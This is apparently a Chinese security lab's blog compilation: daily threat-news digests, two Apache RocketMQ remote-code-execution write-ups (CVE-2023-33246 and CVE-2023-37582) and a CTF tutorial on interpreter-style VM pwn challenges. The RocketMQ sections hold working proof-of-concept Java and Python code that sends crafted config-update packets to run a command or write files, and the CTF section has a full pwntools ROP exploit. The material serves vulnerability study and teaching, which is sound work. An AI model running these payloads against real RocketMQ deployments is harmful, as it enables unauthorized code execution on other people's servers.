网络安全日报 2023年08月02日
1、Konni组织伪造国税局邮件进行网络攻击活动 https://www.genians.co.kr/blog/threat_intelligence_report_konni 研究人员发现了Konni的新的网络攻击活动,该组织为朝鲜背景的APT组织,于2017年首次被披露。主要目的为窃取金融信息,此次活动攻击者伪装成国税局邮件中心发送的通知服务。当国税局有信息通知纳税人时,攻击者将向纳税人的地址发送邮件。典型的是税单或申报通知书等邮件,如果纳税人未能及时查看国税局的邮件,可能会出现欠税情况。攻击者利用这一点,将其作为鱼叉式网络钓鱼攻击的主题。 2、Bahamut组织利用安卓恶意软件进行网络钓鱼活动 https://www.cyfirma.com/outofband/apt-bahamut-targets-individuals-with-android-malware-using-spear-messaging/ 研究人员捕获到针对南亚地区个人的高级安卓恶意软件。该软件归因于Bahamut APT组织。该安卓恶意软件最初被称为“CoverIm”,通过 WhatsApp 发送给受害者,并伪装成名为“SafeChat”的虚拟聊天应用程序。该应用程序的用户界面成功地欺骗用户相信其真实性,从而使威胁行为者能够在受害者意识到该应用程序是假应用程序之前提取所有必要的信息,该恶意软件利用安卓库以提取 3、研究人员发现WikiLoader恶意软件的攻击活动 https://www.proofpoint.com/us/blog/threat-insight/out-sandbox-wikiloader-digs-sophisticated-evasion 研究人员发现WikiLoader新型恶意软件针对意大利的组织发起网络攻击活动。攻击者利用该恶意软件,最终目的是安装名为Ursnif(又名 Gozi)的银行木马、窃取程序和间谍软件。攻击手法为使用包含 Microsoft Excel、Microsoft OneNote 或 PDF 附件的电子邮件作为部署下载程序的诱饵,该下载程序随后用于安装 Ursnif。该恶意软件使用多种机制来逃避检测,并且大概 4、NodeStealer 2.0 接管企业帐户和加密货币钱包 https://securityaffairs.com/149055/malware/nodestealer-2-takes-over-facebook-business-accounts.html 研究人员发现了 NodeStealer 的 Python 变体,旨在接管 Facebook 企业帐户和加密货币钱包。 5、新的 Collide+Power 侧通道攻击影响几乎所有现代 CPU https://www.securityweek.com/nearly-all-modern-cpus-leak-data-to-new-collidepower-side-channel-attack/ 一种可能导致数据泄露的新侧通道攻击方法几乎适用于所有现代 CPU,这种被称为Collide+Power的新攻击,是一种基于软件的通用攻击,适用于采用 Intel、AMD 或 Arm 处理器的设备,适用于任何应用程序和任何类型的数据。芯片制造商正在发布自己的攻击公告,并已分配 CVE-2023-20583 。 6、Stremio 漏洞导致数百万人遭受攻击 https://www.helpnetsecurity.com/2023/08/01/stremio-vulnerability CyFox 研究人员在流行的媒体中心应用程序 Stremio 中发现了 DLL 植入/劫持漏洞,攻击者可以利用该漏洞在受害者的系统上执行代码、窃取信息等。 7、攻击者利用BleedingPipe RCE攻击Minecraft服务器和玩家 https://blog.mmpa.info/posts/bleeding-pipe/ 攻击者利用 Minecraft mod 中的“BleedingPipe”远程代码执行漏洞在服务器和客户端上运行恶意命令,从而控制设备。BleedingPipe是许多 Minecraft mod 中发现的一个漏洞,是由于在Java的“ObjectInputStream”类中错误地使用反序列化在服务器和客户端之间交换网络数据包而导致的。然后,威胁行为者可以使用这些被黑的服务器来利用连接到服务器的玩家使用的相同 Minecraft mod 中的缺陷,从而允许他们在这些设备上安装恶意软件。 8、国内首个《云原生安全配置基线规范》标准正式发布 https://www.secrss.com/articles/57210 本标准中的要求主要包括对Kubernetes主节点API Server、控制管理器、调度器、etcd的安全配置要求,对工作节点kube-proxy、kubelet、工作负载的安全配置要求,以及针对附加项的CNI和网络策略配置的要求。 9、软件公司Ivanti披露安全漏洞,已被积极利用 https://securityaffairs.com/148957/hacking/ivanti-epmm-flaw.html Ivanti 披露了一个影响端点管理器移动版 (EPMM) 的新安全漏洞,跟踪为 CVE-2023-35081(CVSS 分数:7.8),该漏洞在野外被威胁参与者作为漏洞利用链的一部分加以利用。 10、美股上市公司重磅新规!重大网络安全事件需在4天内披露 https://www.secrss.com/articles/57203 美国证券交易委员会(SEC)于26日通过新规,要求上市公司在4天内披露所有可能影响其利润的网络安全违规事件。如果立即披露会带来严重危及国家安全或公共安全,可延迟披露。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)
漏洞简介 RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。 此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。 影响版本 5.0.0 <= Apache RocketMQ < 5.1.1 4.0.0 <= Apache RocketMQ < 4.9.6 安全版本 Apache RocketMQ 5.1.1 Apache RocketMQ 4.9.6 漏洞复现 在本地创建 maven 项目 并添加依赖 <dependencies>   <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->        <dependency>            <groupId>org.apache.rocketmq</groupId>            <artifactId>rocketmq-tools</artifactId>            <version>5.1.0</version>        </dependency> </dependencies> 编写漏洞利用代码 import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Properties; public class poc1 {    public static void main(String[] args) throws Exception {        // 创建 Properties 对象        Properties props = new Properties();        //修改rocketmqHome配置        props.setProperty("rocketmqHome","-c gnome-calculator test");        props.setProperty("filterServerNums","1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt();        //此处为 namesrv 端口,此端口无需可访问        admin.setNamesrvAddr("192.168.222.130:9876");        admin.start();        // 更新配置⽂件        //此处为 broker 端口,必须可访问        admin.updateBrokerConfig("192.168.222.130:10911", props);        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 漏洞分析 我们看到真正有危险的操作应该是与 10911 进行通信的操作,没有进行身份验证和加密传输,同时带入了命令执行的参数 org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能 org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig org/apache/rocketmq/remoting/Configuration.java#update 如果属性名是其内置的,就进行更新操作 后面的一部分就比较清晰了 org/apache/rocketmq/broker/BrokerStartup.java#start org/apache/rocketmq/broker/BrokerController.java#start org/apache/rocketmq/broker/BrokerController.java#startBasicService org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start 根据从 Wireshark 中抓取的数据包 我们也可以构造这样的 payload 触发漏洞 import socket import binascii client = socket.socket() # you ip client.connect(('192.168.222.130',10911)) # data json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8') body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8') json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)               # 一个字节是2个十六进制数 head1 = '00000000'+str(hex(json_lens))[2:]                                   # hex(xxxx) 0x1243434 去掉 0x all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)    # 总长度要 加上 head1[-8:] 的值 head2 = '00000000'+str(hex(all_lens))[2:] data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body # send client.send(bytes.fromhex(data)) data_recv = client.recv(1024) print(data_recv) ‍ 漏洞修复 移除了命令执行的模块
网络安全日报 2023年08月01日
1、研究人员发现了 P2PInfect 蠕虫使用未知初始访问向量 https://securityaffairs.com/149012/malware/p2pinfect-worm-initial-access-vector.html Palo Alto Networks Unit 42 研究人员发现了一种名为 P2PInfect 的新型点对点 (P2P) 蠕虫病毒,其目标是在 Linux 和 Windows 系统上运行的 Redis 服务器。P2PInfect 能够以运行在 Linux 和 Windows 操作系统上的 Redis 服务器为目标。现在,Cado 安全研究人员报告称,发现了一种针对 Redis 服务器的 P2PInfect 蠕虫新变种,该变 2、WordPress 的 Ninja Forms 插件漏洞影响 90 万个网站 https://securityaffairs.com/148993/security/ninja-forms-plugin-flaws.html WordPress 的 Ninja Forms 插件受到多个漏洞(追踪为 CVE-2023-37979、CVE-2023-38386 和 CVE-2023-38393)的影响,威胁行为者可利用这些漏洞来提升权限并窃取敏感数据。 3、Citrix ShareFile RCE 漏洞 CVE-2023-24489已被在野利用 https://securityaffairs.com/148981/hacking/citrix-sharefile-cve-2023-24489-flaws-attacks.html 研究人员警告说,威胁行为者开始在野外利用 Citrix ShareFile RCE 漏洞 CVE-2023-24489。 4、Patchwork 黑客组织使用 EyeShell 后门针对中国大学和研究机构 https://thehackernews.com/2023/07/patchwork-hackers-target-chinese.html 名为“Patchwork”的黑客组织有关的威胁行为者被发现以中国的大学和研究机构为目标。据KnownSec 404 Team称,该活动需要使用代号为EyeShell的后门。 5、AVRecon 僵尸网络利用被感染的家用路由器提供非法代理服务 https://thehackernews.com/2023/07/avrecon-botnet-leveraging-compromised.html 有关名为AVRecon的僵尸网络的更多细节已经浮出水面,据观察,该僵尸网络利用受感染的小型办公室/家庭办公室 (SOHO) 路由器,作为至少自 2021 年 5 月以来活跃的多年活动的一部分。本月早些时候,Lumen Black Lotus Labs 首次披露了 AVRecon 恶意软件,该恶意软件能够执行额外的命令并窃取受害者的带宽,以提供给其他参与者的非法代理服务。它在规模上也超越了 QakBot,已渗透到全球 20 个国家的 41,0 6、Fruity 木马利用欺骗性软件安装程序传播 Remcos RAT https://thehackernews.com/2023/07/fruity-trojan-uses-deceptive-software.html 威胁行为者正在创建托管木马软件安装程序的虚假网站,以诱骗毫无戒心的用户下载名为 Fruity 的恶意软件下载器,目的是安装 Remcos RAT 等远程木马工具。 7、黑客利用 Bleedingpipe RCE 漏洞攻击 Minecraft 服务器和玩家 https://www.bleepingcomputer.com/news/security/hackers-exploit-bleedingpipe-rce-to-target-minecraft-servers-players/ 黑客正在积极利用 Minecraft mod 中的“BleedingPipe”远程代码执行漏洞在服务器和客户端上运行恶意命令,从而控制设备。BleedingPipe 是许多 Minecraft mod 中发现的一个漏洞,是由于 在 Java 的“ObjectInputStream”类中错误地使用反序列化 在服务器和客户端之间交换网络数据包而导致的。 8、以色列最大炼油厂BAZAN集团遭受网络攻击 https://www.bleepingcomputer.com/news/security/israels-largest-oil-refinery-website-offline-after-ddos-attack 以色列最大的炼油厂运营商BAZAN集团的网站在世界大部分地区都无法访问,伊朗的黑客组织Cyber Avengers(又名Cyber Av3ngers)在其Telegmra频道中声称入侵了该集团的网络系统。该黑客组织泄露了BAZAN SCADA系统的屏幕截图,与用于监控和操作工业控制系统的应用软件相关,并表示他们利用该集团使用的防火墙中的漏洞进行入侵。BAZAN集团发言人表示, 9、警惕!通过谷歌和必应搜索广告传播的新型恶意活动 https://thehackernews.com/2023/07/new-malvertising-campaign-distributing.html 据观察,一种新的恶意广告活动利用谷歌搜索和必应的广告,以AnyDesk、Cisco AnyConnect VPN和WinSCP等IT工具的用户为目标,诱骗他们下载木马安装程序,目的是入侵企业网络,并可能在未来实施勒索软件攻击。 10、网络安全机构警告IDOR漏洞被用于数据泄露 https://thehackernews.com/2023/07/cybersecurity-agencies-warn-against.html 澳大利亚和美国的网络安全机构发布了一份联合网络安全咨询,警告Web应用程序中的安全漏洞,恶意行为者可能会利用这些漏洞来策划数据泄露事件并窃取机密数据。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Apache RocketMQ 远程代码执行漏洞(CVE-2023-37582)
漏洞简介 Apache RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。CVE-2023-37582 中,由于对 CVE-2023-33246 修复不完善,导致在Apache RocketMQ NameServer 存在未授权访问的情况下,攻击者可构造恶意请求以RocketMQ运行的系统用户身份执行命令。 影响版本 Apache RocketMQ <= 5.1.1 Apache RocketMQ <= 4.9.6 环境搭建 参考 Apache RocketMQ 远程代码执行漏洞 CVE-2023-33246 的环境搭建 还是为了方便进行调试,我们再 linux 下搭建 RocketMQ 的相关服务,利用源码启动 一共需要运行两个服务 org.apache.rocketmq.namesrv.NamesrvStartup org.apache.rocketmq.broker.BrokerStartup 先启动 NamesrvStartup,再启动 BrokerStartup 同时都需要配置环境变量 ROCKETMQ_HOME ROCKETMQ_HOME\=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0 漏洞复现 运行 python 脚本 import socket import binascii client = socket.socket() # you ip client.connect(('192.168.222.130',9876)) # data json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8') body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8') json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数 head1 = '00000000'+str(hex(json_lens))[2:]      # hex(xxxx) 0x1243434 去掉 0x all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens) head2 = '00000000'+str(hex(all_lens))[2:] data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # send client.send(bytes.fromhex(data)) data_recv = client.recv(1024) print(data_recv) 成功在 tmp 目录下的 test.txt 文件中写入指定字符串 test 漏洞分析 org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能,此时调用的是318 更新配置的操作 src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java 根据对应的 code 会调用 对应的函数进行处理 src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig src/main/java/org/apache/rocketmq/remoting/Configuration.java#update 首先判断是不是属于可控的属性 src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath 调用 getStorePath 获取文件路径,此时获取的值是 configStorePath 的值 src/main/java/org/apache/rocketmq/common/MixAll.java#string2File src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile 漏洞修复 修改禁用修改配置路径的参数
网络安全日报 2023年07月31日
1、 WordPress的Ninja Forms插件存在安全漏洞 https://www.bleepingcomputer.com/news/security/wordpress-ninja-forms-plugin-flaw-lets-hackers-steal-submitted-data 研究人员在WordPress的流行插件Ninja Forms中发现了3个安全漏洞,攻击者可以通过这些漏洞实现权限提升并窃取用户数据。第一个漏洞是CVE-2023-37979,这是一个基于POST的反射式XSS(跨站点脚本)漏洞,允许未经身份验证的攻击者通过诱骗特权用户访问特制的网页来提升权限并窃取信息。后两个安全漏洞分别被标记为CVE-2023-38393和CVE- 2、Zimbra针对其产品中的零日漏洞发布安全更新 https://www.bleepingcomputer.com/news/security/zimbra-patches-zero-day-vulnerability-exploited-in-xss-attacks Zimbra发布安全更新,修复Zimbra协作套件(ZCS)电子邮件服务器的中的零日漏洞。该安全漏洞是一个反射式XSS(跨站点脚本)漏洞,攻击者能够利用该XSS漏洞在受影响的系统上窃取敏感信息或执行恶意代码。虽然Zimbra在首次披露该漏洞并敦促用户手动修复时表示没有发现漏洞利用迹象,但研究人员表示在具有针对性的攻击活动中发现了对该漏洞的利用。 3、陆地集群无线电标准(TETRA)中存在5个安全漏洞 https://tetraburst.com/ 政府部门和关键基础设施中广泛使用的陆地集群无线电(TETRA)通信标准中存在5个安全漏洞。这些安全漏洞于2021年被研究人员所发现,并一直持续到现在,统称为TETRA:BURST。到目前为止,还没有确凿的证据可以确定这些漏洞被攻击者所利用。根据基础设施和设备配置,攻击者能够利用这些漏洞进行实时解密、先窃取后解密、消息注入、用户匿名化或会话密钥固定。这些安全漏洞分别被标记为CVE-2022-24400、CVE-2022-24401、CVE-2022-24402、CVE-2022-24403、CVE-2022-24404。 4、加密支付服务提供商CoinsPaid遭受网络攻击 https://www.bleepingcomputer.com/news/security/coinspaid-blames-lazarus-hackers-for-theft-of-37-300-000-in-crypto 爱沙尼亚加密支付服务提供商CoinsPaid表示,于2023年7月22日遭受网络攻击,导致价值3.72千万美元的加密货币被盗,但该公司强调,客户资金是安全和完全可用的,此次事件不会对公司的业务产生重大影响。CoinsPaid将此次网络攻击归咎于Lazarus组织,但是CoinsPaid并没有公开他们如何将此次攻击与Lazarus联系起来。 5、Abyss Locker勒索软件针对VMware ESXi服务器进行攻击 https://www.bleepingcomputer.com/news/security/linux-version-of-abyss-locker-ransomware-targets-vmware-esxi-servers Abyss Locker勒索软件是一种相对较新的勒索软件,于2023年3月份被用于进行攻击活动。近期,研究人员发现了该勒索软件的Linux版本,查看可执行文件中的字符串后,发现该文件专门针对VMware ESXi服务器进行攻击。加密器利用“esxcli”命令查找所有可用的虚拟机,然后终止它们。该勒索软件将对设备上的文件进行加密,将加密文件的后缀名更改为“.cryp 6、Weintek修复其产品中的安全漏洞 https://www.securityweek.com/weintek-weincloud-vulnerabilities-allowed-manipulation-damaging-of-ics-devices 研究人员在Weintek产品中发现了安全漏洞,这些漏洞可能被用来操纵和破坏工业控制系统。研究人员在Weintek Weincloud中发现了四种类型的安全漏洞,第一个漏洞可能被利用通过使用相应的JWT令牌重置帐户密码,第二个漏洞可能被利用测试证书登录官方网站,第三个漏洞可能被用来进行DoS攻击,第四个漏洞可能被用于暴力破解攻击。Weintek通过API更新修复了这些漏洞,用户无需 7、三菱电机CNC系列设备中存在安全漏洞 https://www.cisa.gov/news-events/ics-advisories/icsa-23-208-03 研究人员在三菱电机CNC系列设备中发现安全漏洞,该漏洞被标记为CVE-2023-3346,CVSSv3评分为9.8,可以被远程利用且攻击复杂度较低。该漏洞属于缓冲区溢出漏洞,恶意攻击者可以通过发送特制的数据包在受影响的产品上造成拒绝服务状态并执行恶意代码。 8、新的 Android 恶意软件 CherryBlos 利用 OCR 窃取敏感数据 https://thehackernews.com/2023/07/new-android-malware-cherryblos.html 一种名为CherryBlos的新型 Android 恶意软件利用光学字符识别 (OCR) 技术来收集存储在图片中的敏感数据。 9、报告显示教育部门勒索软件受害者的比例最高 https://www.infosecurity-magazine.com/news/education-sector-highest/ 根据 Sophos 的一份新报告,2022 年教育部门记录的勒索软件受害者比例高于任何其他部门。 10、CL0P勒索软件以医疗保健行业为目标发起新一轮攻击 https://thecyberexpress.com/hinduja-group-cyber-attack-cl0p-ransomware/ CL0P勒索软件组织在其泄漏站点上揭示了24家新的受害公司,主要针对医疗保健,IT和ITES以及BFSI部门。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
VMPWN的入门级别题目详解(二)
实验四 VMPWN4 题目简介 这道题应该算是虚拟机保护的一个变种,是一个解释器类型的程序,何为解释器?解释器是一种计算机程序,用于解释和执行源代码。解释器可以理解源代码中的语法和语义,并将其转换为计算机可以执行的机器语言。与编译器不同,解释器不会将源代码转换为机器语言,而是直接执行源代码。即,这个程序接收一定的解释器语言,然后按照一定的规则对其进行解析,完成相应的功能,从本质上来看依然是一个虚拟机。 这个程序是一个brainfuck的解释器,brainfuck的语法如下所示: 将这些语法翻译为c代码如下所示: 题目保护检查 使用checksec来检查程序开启了哪些保护机制 所有保护全部开启使用seccomp-tools检查程序是否开启了沙箱 只允许open、openat、read、write、brk等少数系统调用,也就是说我们不能通过执行system(“/bin/sh”)或者execve系统调用来拿到shell了。 漏洞分析 使用IDA pro打开这个程序查看伪代码 看到std::cout以及std::string等函数,可以看出来这个程序是用c++进行编写的,相比于C语言的程序,C++的程序反编译之后分析起来难度会大一些。 分析一波sub_1EA2函数在a1+0x400处创建一个string类,后面的sub_1FAA,sub_1F72很复杂,看不明白,应该是初始化的函数。 然后在 sub_154B 函数中 这里就是沙箱开启函数,我们一开始用 seccomp-tools 分析程序得到的沙箱规则就是在这个函数中设置的,对程序的系统调用功能进行了种种限制。 接着输入 code,每次输入 1 字节,然后将这 1 字节拼接到 string 中, 在这里我们可以动态调试一下输入过程,因为 string 是一个类,其内部有其他成员。我们将断点下载 while 循环结束之后,即读取完了 code,我们首先输入 5 个'>',string 类在 rbp-0x40,我们查看其中内容: 前8个字节是一个指针,指向我们输入的code存放的地址,第2个8字节是输入的字节数,后面的就是我们输入的code,这里我们只输入了5个字节,直接在存在了栈中。我们多输入一些,大于0x10个字符 前8个字节变为了堆地址,我们输入的数据被存入了堆中,第2个8字节依然书我们输入的字节数,第3个8字节0x1e,应该是剩余可用空间,0x13+0x1e=0x31。总的来说,如果输入字符数小于0x10,string类的大概成员应该如下 struct string { char *data; int64_t size; char data[0x10]; ... } 如果大于0x10则为如下 struct { char *buf; int64_t size; int64_t capacity; char tmp_data[8]; ... } 继续分析程序 中间这一段 for 循环应该是遍历所有输入的 code,寻找[和],也就是寻找程序的边界,为什么是寻找程序的边界,可以再看一下 brainfuck 解释为 c 语言之后的效果。[]所包裹起来的 code,就是 while 循环之内要执行的代码。从这个 for 循环往下,就是对 brainfuck 的解释代码,会依次判断每个字符的值,并进行相应的操作。 首先看到对>的操作会对v19进行+1操作,v19是啥呢?s是最开始初始化的时候传入的一个长度为0x400的数组,这里将v19赋值为s数组的地址,每当解析到>时,就将v19往后移动一个字节,然后对v19进行判断在if判断中存在问题,当v19指针大于string指针是退出,也就是说v19可以等于string指针,即v19可以指向string的第一个字节,存在off-by-one。如下图v19可以指向画框的1字节。 后续的其他操作就都和最开始贴出来的brainfuck语法一样了,也没有漏洞。 接下来开始利用漏洞。 第一步还是得先泄露libc地址。泄露方法是通过将v19指向string的第一字节,也就是buf指针的最后1字节。在0x7fffffffde68处就是main函数的返回地址,我们将buf指针的最后1字节修改为68,这样buf就会指向返回地址。在程序的最后,会将string的数据输出而此时string的buf已经被我们指向了返回地址,输出时就会泄露出libc_start_main的地址。在这里我们需要注意,想要buf指针能够指向栈中,我们输入的数据不能超过0x10个字节,而v19和string相差多少呢?v19是指向s的,s和string相差了0x400的距离,所以我们需要将v19增加0x400才 ++*ptr; while(*ptr) { ptr++; ++*ptr; } 这看起来是一个死循环,为啥能够自动在指向string的第1个字节时自动停止呢?这是因为,当执行完>使得v19指向string后,接下来会执行+使得string的buf指针+1,变成了下图所示:于是,原本要取],因为指针+1,就会取到,,从而跳出循环。还有一点就是,因为aslr的缘故,栈地址会一直改变,所以泄露libc地址需要多试几次才能成功。拿到libc地址之后,就可以进行利用了,由于此时string的buf指针指向的是返回地址,我们再次输入code的时候就会往返回地址上写,所以我们可以构造好orw的rop链,直接写入返回地址,然后当我们结束main函数的时候就会执行orw链。另外,还有需要注 利用脚本 from pwn import * context.log_level='debug' global io libc=ELF('./libc.so.6') def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16) gdb.attach(io,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(io,"b *{}".format(hex(addr))) def pwn():    payload = '+[>+],'    io.recvuntil('enter your code:\n')        io.sendline(payload)    io.recvuntil('running....\n')    io.send(p8(0xd8))    io.recvuntil("your code: ")    libc_base = u64(io.recvuntil('\x7f',timeout=0.5)[-6:].ljust(8,'\x00')) - 231 - libc.sym['__libc_start_main']    if libc_base>>40!=0x7f:        raise Exception("leak error!")    log.success('libc_base => {}'.format(hex(libc_base)))    pop_rdi_ret=libc_base+0x000000000002155f    pop_rsi_ret=libc_base+0x0000000000023e6a    pop_rdx_ret=libc_base+0x0000000000001b96    open_addr=libc_base+libc.symbols['open']    read_addr=libc_base+libc.symbols['read']    write_addr=libc_base+libc.symbols['write']    log.success('open_addr => {}'.format(hex(open_addr)))    log.success('read_addr => {}'.format(hex(read_addr)))    log.success('write_addr => {}'.format(hex(write_addr)))    flag_str_addr=(libc_base+libc.symbols['__free_hook'])&0xfffffffffffff000    orw=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(flag_str_addr)+p64(pop_rdx_ret)+p64(0x10)+p64(read_addr)    orw+=p64(pop_rdi_ret)+p64(flag_str_addr)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)    orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(read_addr)    orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(write_addr)    io.recvuntil('want to continue?\n')    io.send('y')    io.recvuntil('enter your code:\n')    io.sendline(orw+payload)    io.recvuntil('running....\n')    io.send('\xa0')    io.recvuntil('want to continue?\n')    io.send('n')    io.send('./flag')    io.interactive() if __name__ == "__main__":    while True:        try:            io=process('./bf')            pwn()        except:            io.close()     实验五 VMPWN5 题目简介 这道题是一道很典型的VMPWN,接收字节码,对字节码进行解析,执行对应功能。不过这题相较于前面的vmpwn有些区别,前几题都都是同时存在越界读和越界写漏洞的,然而这道题仅存在一个越界写漏洞,这就要求更加开阔和灵活的解题思路。 题目保护检查 保护全部开启了。 漏洞分析 IDA打开程序 读取一段字符,如果这段字符串不为”bye bye”,则调用sub_228E函数 看到sub_228E函数 首先根据字符串的输出将各个变量重命名。 先让用户输入code_size,也就是字节码的长度;接着让用户输入memory count,也就是内存的大小,内存的单位是8字节,后面通过malloc申请memory count*8大小的堆块作为内存。然后读取code,最后调用sub_1458函数,跟进查看 似乎是一个初始化函数,但具体做了什么我们暂不清楚,继续往下看,跟进到sub_151A函数。 这里就是熟悉的解析字节码了,我们将前面的函数和变量重命名一下 为了方便逆向分析,我们首先来确定虚拟机的结构体。 首先根据这里的判断,我们猜测通用寄存器的索引不能大于3,也就是通用寄存器有 4个。我们再回看到init_vm结构体。 qword_5040应该为pc指针,因为它指向的是code的开头,ptr指向内存的开头,后面又malloc出来了一块0x800的堆,猜测这个qword_5050应该就是栈顶指针rsp,重命名之后如下 重新看回到exec_vm函数 qword_5088很明显是当前运行了多少code。 而我们注意到 我们刚刚重命名的指针都是位于同一块区域,所以这一块区域应该就是vm虚拟机的位置。 根据刚刚的分析,创建如下结构体 struct vm {  char *code;  int64_t *memory;  int64_t *stack;  int64_t codesize;  int64_t memcnt;  int64_t regs[4];  int64_t rip;  int64_t rsp; }; 再将其应用于IDA中,此时exec_vm已经变得很清晰 一共24个功能,每个操作码对应的功能如下: 0:push 1:pop 2:将栈中的两个值相加 3:将栈中的两个值相减 4:将栈中的两个值相乘 5:将栈中的两个值相除 6:将栈中的两个值取模 7:将栈中的两个值左移 8:将栈中的两个值右移 9:将栈中的两个值相与 11:将栈中的两个值相或 12:将栈中的两个值相异或 13:判断栈顶值是否为0 14:jmp 15:条件jmp,如果栈顶有值就jmp,没有就不jmp 16:条件jmp,和15相反 17:判断栈顶的两个值是否相等 18:判断栈顶值是否小于栈顶下的一个值 19:判断栈顶值是否大于栈顶下的一个值 20:将一个立即数存入寄存器中 21:将寄存器中的值存入内存中 22:将内存中的值存入寄存器中 23:打印finish 接下来开始分析漏洞 在最开始输入mem_cnt时有一个判断,如下 在这里,当输入类似0x2000000000000020的mem_cnt时,后续申请到的memory大小就为0x100因为0x200000000000000*8会超过64位能表示的最大数字从而导致整数溢出,只有最后的0x20*8会保留下来。 在执行opcode时,0x15功能点处检查内存是否越界依然使用的是一开始输入的mem_cnt,因此存在越界写,可以将寄存器中的数据写到任意内存中。而在0x16功能点处的内存读功能则由于v8 >= 8 * vmx.memcnt / 8的处理,失去了越界读的效果,所以题目的漏洞就在于0x15功能点的越界写。 但是,由于不存在越界读功能,我们无法从内存中读取libc地址信息到寄存器中,虚拟机也没有输出功能,因此我们需要另辟蹊径。 首先如何生成libc地址,注意在exec_vm结束后,会清理虚拟机的各个段 由于将堆free了会链入到unsortedbin中,因此堆中就会留下libc地址,再重新初始化一个虚拟机,这个新的虚拟机的内存段中就会包含libc地址。 当opcode大于0x17时,会输出what???,可以根据这个构造盲注来泄露libc地址. 首先将libc地址push到栈上,然后将1<<i(5<=i<=40)也push到栈上,然后通过0x9的按位与功能 检测该位是否为1,如果为1的话就执行一个错误的opcode,输出what???,如果为0的话就跳转回code开头,继续测试下一位是否为1,由此可以一位一位地得到libc地址。 如上图所示,这是mem区残留的libc地址,首先将libc地址mov到reg[0]中,如下图 然后将其push到栈中 接着我们往reg[1]中写入1<<i,i从5开始,到40结束,因为libc地址的末尾4位为0,且开头一定为0x7f,所以只需要从第5位测试到第40位即可 如上图,reg[1]中存放着1<<8,然后将其压入栈中 再将这两个值进行按位与 将按位与之后的结果存入栈底,然后我们判断栈底为1或者0,为1的话就输出finish,为0的话就输出what?,以此来判断libc的每一位数据为1或者0. 得到libc地址之后就该思考如何getshell了。 拿到libc地址后,再加上任意地址写,随便怎么打都可以,这里采用打call_tls_dtors来getshell。 call_tls_dtors是什么? main函数正常退出时,会调用exit函数 void exit (int status) {  __run_exit_handlers (status, &__exit_funcs, true, true); } libc_hidden_def (exit) exit函数调用了__run_exit_handlers函数 __run_exit_handlers (int status, struct exit_function_list **listp,     bool run_list_atexit, bool run_dtors) {  /* First, call the TLS destructors. */ #ifndef SHARED  if (&__call_tls_dtors != NULL) #endif    if (run_dtors)      __call_tls_dtors (); .....................  _exit (status); } __run_exit_handlers函数中,会检查run_dtors,如果为真就会调用__call_tls_dtors 动态调试exit函数,可以看到run_dtors的值 pwndbg> p run_dtors $1 = true 因此__call_tls_dtors是会被执行的,再看到__call_tls_dtors函数 